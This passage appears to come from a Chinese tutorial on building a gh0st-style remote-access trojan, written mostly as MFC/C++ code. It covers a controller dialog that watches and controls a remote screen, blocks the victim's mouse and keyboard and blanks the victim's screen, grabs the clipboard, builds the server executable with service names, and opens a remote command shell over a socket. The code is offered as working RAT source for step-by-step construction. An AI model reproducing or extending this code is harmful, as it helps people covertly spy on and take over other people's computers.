delete m_lpbmi_rect;
m_lpbmi_rect=NULL;
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
m_bIsCtrl = false;
CDialog::OnClose();
}
重写OnInitDialog()
BOOL CScreenSpyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
//初始化菜单
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)");
pSysMenu->AppendMenu(MF_STRING, IDM_SEND_CTRL_ALT_DEL, "发送Ctrl-Alt-Del(&K)");
pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪服务端鼠标(&T)");
pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定服务端鼠标和键盘(&L)");
pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, "服务端黑屏(&B)");
pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, "捕捉层(导致鼠标闪烁)(&L)");
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)");
pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_SCAN, "隔行扫描算法(&S)");
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_DIFF, "差异比较算法(&X)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_1, "1 位黑白(&A)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_GRAY, "4 位灰度(&B)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_COLOR, "4 位彩色(&C)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_GRAY, "8 位灰度(&D)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_COLOR, "8 位彩色(&E)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_16, "16位高彩(&F)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, "32位真彩(&G)");
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
}
// TODO: Add extra initialization here
CString str;
str.Format("\\\\%s %d * %d", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight);
SetWindowText(str);
m_HScrollPos = 0;
m_VScrollPos = 0;
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
ICONINFO CursorInfo;
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
if (CursorInfo.hbmMask != NULL)
::DeleteObject(CursorInfo.hbmMask);
if (CursorInfo.hbmColor != NULL)
::DeleteObject(CursorInfo.hbmColor);
m_dwCursor_xHotspot = CursorInfo.xHotspot;
m_dwCursor_yHotspot = CursorInfo.yHotspot;
m_RemoteCursorPos.x = 0;
m_RemoteCursorPos.x = 0;
m_bIsTraceCursor = false;
// 初始化窗口大小结构 这里的初始化就不讲解了,同服务端一样的位图的图像数据
//是我们分配好的缓冲区也就是说我们可以更改这个缓冲区里的数据来改变位图图像
m_hDC = ::GetDC(m_hWnd);
m_hMemDC = CreateCompatibleDC(m_hDC);
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
SelectObject(m_hMemDC, m_hFullBitmap);
SetScrollRange(SB_HORZ, 0, m_lpbmi->bmiHeader.biWidth);
SetScrollRange(SB_VERT, 0, m_lpbmi->bmiHeader.biHeight);
InitMMI();
SendNext();
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
添加void InitMMI()
void CScreenSpyDlg::InitMMI(void)
{
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
int nBorderWidth = rectClient.left - rectWindow.left; // 边框宽
int nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度
int nWidthAdd = nBorderWidth * 2 + GetSystemMetrics(SM_CYHSCROLL);
int nHeightAdd = nTitleWidth + nBorderWidth + GetSystemMetrics(SM_CYVSCROLL);
int nMinWidth = 400 + nWidthAdd;
int nMinHeight = 300 + nHeightAdd;
int nMaxWidth = m_lpbmi->bmiHeader.biWidth + nWidthAdd;
int nMaxHeight = m_lpbmi->bmiHeader.biHeight + nHeightAdd;
// 最小的Track尺寸
m_MMI.ptMinTrackSize.x = nMinWidth;
m_MMI.ptMinTrackSize.y = nMinHeight;
// 最大化时窗口的位置
m_MMI.ptMaxPosition.x = 1;
m_MMI.ptMaxPosition.y = 1;
// 窗口最大尺寸
m_MMI.ptMaxSize.x = nMaxWidth;
m_MMI.ptMaxSize.y = nMaxHeight;
// 最大的Track尺寸也要改变
m_MMI.ptMaxTrackSize.x = nMaxWidth;
m_MMI.ptMaxTrackSize.y = nMaxHeight;
}
添加void SendNext()
void CScreenSpyDlg::SendNext(void)
{
BYTE bBuff = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
CPP 中包含#include "…\common\macros.h"解决编译错误
WM_GETMINMAXINFO 最小或者最大化消息
void CScreenSpyDlg::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
// 如果m_MMI已经被赋值
if (m_MMI.ptMaxSize.x > 0)
memcpy((void *)lpMMI, &m_MMI, sizeof(MINMAXINFO));
CDialog::OnGetMinMaxInfo(lpMMI);
}
WM_HScroll 滚动条消息
void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
SCROLLINFO si;
int i;
si.cbSize = sizeof(SCROLLINFO);
si.fMask = SIF_ALL;
GetScrollInfo(SB_HORZ, &si);
switch (nSBCode)
{
case SB_LINEUP:
i = nPos - 1;
break;
case SB_LINEDOWN:
i = nPos + 1;
break;
case SB_THUMBPOSITION:
case SB_THUMBTRACK:
i = si.nTrackPos;
break;
default:
return;
}
i = max(i, si.nMin);
i = min(i, (int)(si.nMax - si.nPage + 1));
RECT rect;
GetClientRect(&rect);
if ((rect.right + i) > m_lpbmi->bmiHeader.biWidth)
i = m_lpbmi->bmiHeader.biWidth - rect.right;
InterlockedExchange((PLONG)&m_HScrollPos, i);
SetScrollPos(SB_HORZ, m_HScrollPos);
PostMessage(WM_PAINT);
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
}
WM_Paint 对话框重新绘制消息
void CScreenSpyDlg::OnPaint()
{
CPaintDC dc(this); // device context for painting
// TODO: 在此处添加消息处理程序代码
// 不为绘图消息调用 CDialog::OnPaint()
if (m_bIsFirst)
{
DrawTipString("Please wait - initial screen loading");
return;
}
//这里同样用我们讲过的api 不过他的作用可不仅仅是用来抓图,他还可以显示图像,
//为什么呢? 因为抓图,显示图,都是我们的片面想法,这个api的作用就是复制
//设备的缓冲区,将桌面设备缓冲区复制到我们的内存缓冲区,这个就是抓图,
//将内存缓冲区复制到设备缓冲区就是显示图了。。。。。。。。
BitBlt
(
m_hDC,
0,
0,
m_lpbmi->bmiHeader.biWidth,
m_lpbmi->bmiHeader.biHeight,
m_hMemDC,
m_HScrollPos,
m_VScrollPos,
SRCCOPY
);
// (BYTE)-1 = 255;
// Draw the cursor
//这里画一下鼠标的图像
if (m_bIsTraceCursor)
DrawIconEx(
m_hDC, // handle to device context
m_RemoteCursorPos.x - ((int) m_dwCursor_xHotspot) - m_HScrollPos,
m_RemoteCursorPos.y - ((int) m_dwCursor_yHotspot) - m_VScrollPos,
m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex), // handle to icon to draw
0,0, // width of the icon
0, // index of frame in animated cursor
NULL, // handle to background brush
DI_NORMAL | DI_COMPAT // icon-drawing flags
);
}
void DrawTipString(CString str)
显示文字
void CScreenSpyDlg::DrawTipString(CString str)
{
RECT rect;
GetClientRect(&rect);
COLORREF bgcol = RGB(0x00, 0x00, 0x00);
COLORREF oldbgcol = SetBkColor(m_hDC, bgcol);
COLORREF oldtxtcol = SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
ExtTextOut(m_hDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL);
DrawText (m_hDC, str, -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
SetBkColor(m_hDC, oldbgcol);
SetTextColor(m_hDC, oldtxtcol);
}
void OnReceiveComplete()
显示服务端发来的信息
void CScreenSpyDlg::OnReceiveComplete(void)
{
m_nCount++;
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_FIRSTSCREEN:
DrawFirstScreen(); //这里显示第一帧图像 一会转到函数定义
break;
case TOKEN_NEXTSCREEN:
if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN)
DrawNextScreenRect(); //这里是第二帧之后的数据了---
else
DrawNextScreenDiff(); //----当然这里有两种算法
break; //我们能转到DrawFirstScreen函数定义
case TOKEN_BITMAPINFO:
ResetScreen();
break;
case TOKEN_CLIPBOARD_TEXT:
UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}
void DrawFirstScreen() 隔行扫描绘制
void CScreenSpyDlg::DrawFirstScreen(void)
{
m_bIsFirst = false;
//这里也很简单就是得到服务端发来的数据 ,将他拷贝到HBITMAP的缓冲区中,这样一个图像就出现了
memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage);
//我们到OnPaint()函数
//OnPaint();
PostMessage(WM_PAINT);
}
void DrawNextScreenDiff()
void CScreenSpyDlg::DrawNextScreenDiff(void)
{
//这个函数也非常复杂 ,他不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
//OnPaint画上去
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
bool bIsReDraw = false;
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
LPVOID lpFirstScreen = m_lpScreenDIB;
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
POINT oldPoint;
memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
// 鼠标移动了
if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
bIsReDraw = true;
// 光标类型发生变化
int nOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
if (nOldCursorIndex != m_bCursorIndex)
{
bIsReDraw = true;
if (m_bIsCtrl && !m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// 屏幕是否变化
if (dwBytes > 0)
bIsReDraw = true;
__asm
{
mov ebx, [dwBytes]
mov esi, [lpNextScreen]
jmp CopyEnd
CopyNextBlock:
mov edi, [lpFirstScreen]
lodsd // 把lpNextScreen的第一个双字节,放到eax中,就是DIB中改变区域的偏移
add edi, eax // lpFirstScreen偏移eax
lodsd // 把lpNextScreen的下一个双字节,放到eax中, 就是改变区域的大小
mov ecx, eax
sub ebx, 8 // ebx 减去 两个dword
sub ebx, ecx // ebx 减去DIB数据的大小
rep movsb
CopyEnd:
cmp ebx, 0 // 是否写入完毕
jnz CopyNextBlock
}
if (bIsReDraw) PostMessage(WM_PAINT);;
}
void DrawNextScreenRect()
void CScreenSpyDlg::DrawNextScreenRect(void)
{
//这个函数也非常复杂他将传送来的数据 得到变化的区域然后画到屏幕上
// 根据鼠标是否移动和鼠标是否在变化的区域判断是否重绘鼠标,防止鼠标闪烁
bool bIsReDraw = false;
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
LPVOID lpFirstScreen = m_lpScreenDIB;
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
// 保存上次鼠标所在的位置
RECT rectOldPoint;
::SetRect(&rectOldPoint, m_RemoteCursorPos.x, m_RemoteCursorPos.y,
m_RemoteCursorPos.x + m_dwCursor_xHotspot, m_RemoteCursorPos.y + m_dwCursor_yHotspot);
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
//////////////////////////////////////////////////////////////////////////
// 判断鼠标是否移动
if ((rectOldPoint.left != m_RemoteCursorPos.x) || (rectOldPoint.top !=
m_RemoteCursorPos.y))
bIsReDraw = true;
// 光标类型发生变化
int nOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
if (nOldCursorIndex != m_bCursorIndex)
{
bIsReDraw = true;
if (m_bIsCtrl && !m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// 判断鼠标所在区域是否发生变化
DWORD dwOffset = 0;
while (dwOffset < dwBytes && !bIsReDraw)
{
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
RECT rectDest;
if (IntersectRect(&rectDest, &rectOldPoint, lpRect))
bIsReDraw = true;
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
bIsReDraw = bIsReDraw && m_bIsTraceCursor;
//////////////////////////////////////////////////////////////////////////
dwOffset = 0;
while (dwOffset < dwBytes)
{
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
int nRectWidth = lpRect->right - lpRect->left;
int nRectHeight = lpRect->bottom - lpRect->top;
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
* m_lpbmi_rect->bmiHeader.biHeight;
StretchDIBits(m_hMemDC, lpRect->left, lpRect->top, nRectWidth,
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
// 不需要重绘鼠标的话,直接重绘变化的部分
if (!bIsReDraw)
StretchDIBits(m_hDC, lpRect->left - m_HScrollPos, lpRect->top - m_VScrollPos, nRectWidth,
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
if (bIsReDraw) PostMessage(WM_PAINT);;
}
void ResetScreen() 重载屏幕分辨率
void CScreenSpyDlg::ResetScreen(void)
{
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
if (m_lpbmi != NULL)
{
int nOldWidth = m_lpbmi->bmiHeader.biWidth;
int nOldHeight = m_lpbmi->bmiHeader.biHeight;
delete[] m_lpbmi;
delete[] m_lpbmi_rect;
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
DeleteObject(m_hFullBitmap);
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
SelectObject(m_hMemDC, m_hFullBitmap);
memset(&m_MMI, 0, sizeof(MINMAXINFO));
InitMMI();
// 分辨率发生改变
if (nOldWidth != m_lpbmi->bmiHeader.biWidth || nOldHeight != m_lpbmi->bmiHeader.biHeight)
{
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
// 计算ClientRect与WindowRect的差距(标题栏,滚动条)
rectWindow.right = m_lpbmi->bmiHeader.biWidth + rectClient.left + (rectWindow.right - rectClient.right);
rectWindow.bottom = m_lpbmi->bmiHeader.biHeight + rectClient.top + (rectWindow.bottom - rectClient.bottom);
MoveWindow(&rectWindow);
}
}
}
void UpdateLocalClipboard(char *buf, int len)
void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hglbCopy = GlobalAlloc(GPTR, len);
if (hglbCopy != NULL) {
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
7.7 完善主控端
1.搜索桌面管理并添加代码:
BYTE bToken = COMMAND_SCREEN_SPY; //向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
SendSelectCommand(&bToken, sizeof(BYTE));
2.到void CPCRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)中将
case TOKEN_BITMAPINFO: //
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
break;
剪贴出来
3.添加WM_OPENSCREENSPYDIALOG的自定义消息
(1)gh0st中搜索这个消息
(2)添加代码 ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
(3)添加afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
(4)添加
LRESULT CGh0stView::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
// 设置父窗口为卓面
dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = SCREENSPY_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
4.测试
5.到void CPCRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)中将
case SCREENSPY_DLG:
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
break;
剪贴出来
6.测试 崩溃了。。。。。。。。 哭了。。。。。。。。。。
大家可能会说 不是复制的代码么?? 怎么会有问题??
其实这个是编译器的问题,我们在绘制图形时调用了OnPaint这个其实是对话框的自绘函数,我们不应直接调用,而是应该发送自绘的
一个消息 替换所有 OnPaint();
7.测试。。。。。。没有问题。。。。。。。。等下 控制服务端的菜单呢?
8.重写PreTranslateMessage并添加代码
9.添加void SendCommand(MSG* pMsg)
10.添加WM_SysCommand消息
11.添加bool SaveSnapshot()
12.添加void SendLocalClipboard()
13.添加void SendResetAlgorithm(UINT nAlgorithm)
14.复制dot.cur文件到工程下 添加该资源
15.添加void SendResetScreen(int nBitCount)
16.测试。。。。。。。关闭。。。。。。。。。有崩溃。。。。哭了。。。。。。。。。
17.更改OnClose代码:
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
::ReleaseDC(m_hWnd, m_hDC);
DeleteObject(m_hFullBitmap);
if (m_lpbmi)
delete m_lpbmi;
m_lpbmi=NULL;
if (m_lpbmi_rect)
delete m_lpbmi_rect;
m_lpbmi_rect=NULL;
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
m_bIsCtrl = false;
· 跟踪鼠标
· 色位调整
桌面管理并添加代码
client 生成 build
检查输入是否合法
对话框是否打开成功
打开exe文件
FileToMem(_T(".\\Cache\\Server.exe"));
void CBuild::FileToMem(wchar_t* pOldFilePathName)
{
this->d_FileSize = 0;
if(!m_File.Open(pOldFilePathName,CFile::modeRead))
{
MessageBox(_T("无法载入配置文件"),_T("提示"),MB_OK|MB_ICONWARNING);
return;
}
//得到原文件大小
d_FileSize = m_File.GetLength();
//读取原文件
//BYTE* pFileData = NULL;
this->pFileData = NULL;
this->pFileData = new BYTE[(UINT)d_FileSize];
m_File.Read(this->pFileData,(UINT)d_FileSize);
m_File.Close();
}
搜索信息
配置字符串
服务名
服务显示名
描述信息
问题1 运行文件方式
C+F5 不调试运行
需要把cache 目录放到工程目录下
这里的 server.exe
生成后
工程目录下debug
双击这个exe
没有cache文件 会提示无法载入配置文件
使用宏调试
定位堆栈出错位置
问题2 怎么卸载服务端

删除注册表里的内容(不包含宿主Service)
[16]超级终端(1)

进程间通信
添加命令执行窗体
IDD_CMDSHELL
Resizing 边框
两个edit 控件
read only
客户端 远端发送开启cmd命令 OPEN_CMD(#define OPEN_CMD 0x01) 服务端
1.创建管道 --- 建立连接
客户端 net user
2.服务端 接受命令 ---通过通道(net user)---> 送入CMD进程 ---通过管道guest---> 服务端
服务端 发送回显
客户端 --- 接收回显
MFC类
添加变量 m_recv m_send
重写cmdshell oninitdialog事件
BOOL CCmdShell::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
GetClientRect(&m_rect);
MSGINFO msg;
memset(&msg,0,sizeof(MSGINFO));
msg.Msg_id = CMDSHELL; // 命令id
if(m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg))==SOCKET_ERROR)
{
MessageBox(_T("启用CMD命令发送失败"),_T("错误"),MB_OK|MB_ICONINFORMATION);
}
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
cmdshell.h 添加在 itemdata.h下
主dlg文件
private:
void OnCmdShell(); 头文件声明
void CClientDlg::OnCmdShell() //超级终端
{
CItemData *t;
t = GetSelItemInfo();
if(t == NULL)
{
return;
}
else
{
t->RunToCmdShell();
}
}
itemdata cpp h
void CItemData::RunToCmdShell()
{
if(m_cmd == NULL)
{
m_cmd = new CCmdShell(this,m_sock);
m_cmd->Create(IDD_CMDSHELL,this);
m_cmd->ShowWindow(SW_NORMAL); // 显示窗口
}
else
{
m_cmd->SetActiveWindow(); // 置前
}
}
public:
void RunToCmdShell();
CCmdShell *m_cmd; // 命令对话框窗体的指针
CItemData::CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd)
{
m_cmd = NULL;
消息 宏的定义映射
BEGIN_MESSAGE_MAP(CClientDlg, CDialog)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
//主机消息
ON_MESSAGE(ID_ONLINE,OnAddHost)
ON_MESSAGE(ID_OFFLINE,OnOffLine)
//按钮消息
ON_COMMAND(ID_FILE_MANAGER,OnFileManager)
ON_COMMAND(ID_SCREEN,OnScreen)
ON_COMMAND(ID_CMDSHELL,OnCmdShell)
ON_COMMAND(ID_TASK,OnTask)
ON_COMMAND(ID_BUILD,OnBuild)
//}}AFX_MSG_MAP
ON_WM_SIZE()
ON_WM_CLOSE()
END_MESSAGE_MAP()
#define ID_CMDSHELL 1003
const UINT t[10] = {1001,1002,1003,1004,1005,1006,0,1007,1008,1009};
m_toolbar.CreateEx(this);
m_toolbar.SetButtons(t,10);
m_toolbar.SetSizes(CSize(60,56),CSize(24,24));
m_toolbar.SetButtonText(0,_T("文件管理"));
m_toolbar.SetButtonText(1,_T("屏幕监控"));
m_toolbar.SetButtonText(2,_T("超级终端"));
m_toolbar.SetButtonText(3,_T("进程管理"));
m_toolbar.SetButtonText(4,_T("服务管理"));
m_toolbar.SetButtonText(5,_T("卸载主机"));
m_toolbar.SetButtonText(7,_T("生成客户"));
m_toolbar.SetButtonText(8,_T("程序设置"));
m_toolbar.SetButtonText(9,_T("关于软件"));
m_toolbar.GetToolBarCtrl().SetImageList(&m_imagelist);
cmdshell.cpp重载 构造函数
BEGIN_MESSAGE_MAP(CCmdShell, CDialog)
ON_WM_SIZE()
ON_WM_CLOSE()
END_MESSAGE_MAP()
CCmdShell::CCmdShell(CWnd* pParent /*=NULL*/,SOCKET sock)
: CDialog(CCmdShell::IDD, pParent)
{
m_sock = sock;
}
头文件定义
#include "MySocket.h"
#include "Common.h"
public:
//CCmdShell(CWnd* pParent = NULL); // 标准构造函数
CCmdShell(CWnd* pParent = NULL,SOCKET sock = NULL); // 标准构造函数
virtual ~CCmdShell();
private:
SOCKET m_sock;
CRect m_rect;
MSGINFO msg;
CMySocket m_Mysock;
开启命令功能 common.h 标识
#define CMDSHELL 0x0A
Onsize 随窗口大小事件
public:
afx_msg void OnSize(UINT nType, int cx, int cy);
void CCmdShell::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: 在此处添加消息处理程序代码
if(nType == SIZE_MINIMIZED)
{
return;
}
CWnd *pWnd,*pWnd1;
pWnd = GetDlgItem(IDC_EDIT1); //获取控件句柄
pWnd1 = GetDlgItem(IDC_EDIT2);
if(pWnd && pWnd1)//判断是否为空,因为对话框创建时会调用此函数,而当时控件还未创建
{
CRect rect,rect_l; //获取控件变化前大小
GetClientRect(&rect_l);
pWnd->GetWindowRect(&rect);
ScreenToClient(&rect);
rect.right = rect.right + (rect_l.right - m_rect.right);
rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
pWnd->MoveWindow(rect);//设置控件大小
pWnd1->GetWindowRect(&rect);
ScreenToClient(&rect);
rect.top = rect.top + (rect_l.bottom - m_rect.bottom);
rect.right = rect.right + (rect_l.right - m_rect.right);
rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
pWnd1->MoveWindow(rect);//设置控件大小
}
else
{
delete pWnd;
}
GetClientRect(&m_rect);
}
回车键发送命令
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
BOOL CCmdShell::PreTranslateMessage(MSG* pMsg)
{
// TODO: 在此添加专用代码和/或调用基类
if(pMsg->message==WM_KEYDOWN)
{
int nVirtKey = (int)pMsg->wParam;
if(nVirtKey==VK_RETURN)
{
//发送消息
if(m_send.GetSafeHwnd()==::GetFocus()) // 输入框 句柄 焦点 获取控件窗口 光标在输入框里
{
if(GetDlgItem(IDC_EDIT2)->GetWindowTextLengthW() == 0) //文本长度为零
{
return TRUE;
}
CString str;
GetDlgItem(IDC_EDIT2)->GetWindowTextW(str); // 宽字节获取字符串
msg.Msg_id = COMMAND;
CMD cmd; // 获取cmd 结构体
memset(&cmd,0,sizeof(CMD));
memset(&msg,0,sizeof(MSGINFO));
m_str.CStringToChar(str,cmd.command); // 宽字符 转成 多字节
if(strcmp(cmd.command,"exit")==0) // 进程退出
{
SendMessageW(WM_CLOSE,0,0); // 关闭当前窗体
return TRUE;
}
msg.Msg_id = COMMAND;
strcat_s((char*)cmd.command,sizeof(cmd.command),"\r\n"); // 回车 换行
memcpy(msg.context,&cmd,sizeof(CMD));
m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));
GetDlgItem(IDC_EDIT2)->SetWindowTextW(_T("")); // 清零
str.ReleaseBuffer();
}
return TRUE;
}
else if(nVirtKey==VK_ESCAPE)
{
return TRUE;
}
}
return CDialog::PreTranslateMessage(pMsg); //消息传给下一层
}
common头文件 同时 server端同步
cmd 结构体
typedef struct tagCMD //CMD命令信息
{
int flag; //保留标志
char command[1024];
}CMD;
#define COMMAND 0x0B
cmdshell 头文件
#include "StringToTransform.h"
private:
CStringToTransform m_str;
添加字符转换类 StringToTransform
#include "StdAfx.h"
#include "StringToTransform.h"
CStringToTransform::CStringToTransform(void)
{
}
CStringToTransform::~CStringToTransform(void)
{
}
void CStringToTransform::CStringToChar(CString str,char* w)
{
int len = WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),NULL,0,NULL,NULL);
WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),w,len,NULL,NULL);
w[len] = '\0';
}
wchar_t* CStringToTransform::CharToCString(char* temp) //替换
{
DWORD dwNum = MultiByteToWideChar (CP_ACP, 0, temp, -1, NULL, 0);
wchar_t *pwText;
pwText = new wchar_t[dwNum];
if(!pwText)
{
delete []pwText;
}
MultiByteToWideChar (CP_ACP, 0, temp, -1, pwText, dwNum);
return pwText;
}
#pragma once
class CStringToTransform
{
public:
CStringToTransform(void);
~CStringToTransform(void);
void CStringToChar(CString str,char* w);
wchar_t* CharToCString(char* temp);
};
[17]超级终端(2)
服务端的相关操作
接受命令
threadmain cpp
case CMDSHELL:
{
printf("CmeShell\n");
